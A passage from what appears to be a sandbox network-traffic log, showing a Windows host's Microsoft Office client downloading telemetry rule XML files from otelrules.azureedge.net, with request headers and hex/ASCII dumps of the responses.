</O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-22 13:43:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-22 13:43:19 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-22 13:43:19 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134321Z-178bfbc474btvfdfhC1NYCa2en000000031g00000000g2kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134321Z-174c587ffdfcb7qhhC1TEB3x7000000001k000000000bnqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134321Z-174c587ffdf89smkhC1TEB697s00000001m000000000a98u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:21 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 89a9fa5c-d01e-0017-5438-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134321Z-178bfbc474bwh9gmhC1NYCy3rs000000034g000000009qsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 13:43:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:21 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e7cf57de-301e-006e-404d-3cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134321Z-15b8b599d886w4hzhC1TEBb4ug00000001gg00000000cwn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:23 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134323Z-178bfbc474bpnd5vhC1NYC4vr4000000032g000000007zp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:23 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:23 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134323Z-174c587ffdf8fcgwhC1TEBnn7000000001ng00000000e0d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:23 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:23 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3e5933f5-801e-00ac-572e-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134323Z-178bfbc474bbcwv4hC1NYCypys00000002sg00000000mgfe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:24 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:23 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:23 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134323Z-174c587ffdf59vqchC1TEByk6800000001h000000000nzz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:23 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 13:43:23 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 13:43:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T134323Z-178bfbc474bxkclvhC1NYC69g4000000031g000000004uqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 13:43:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
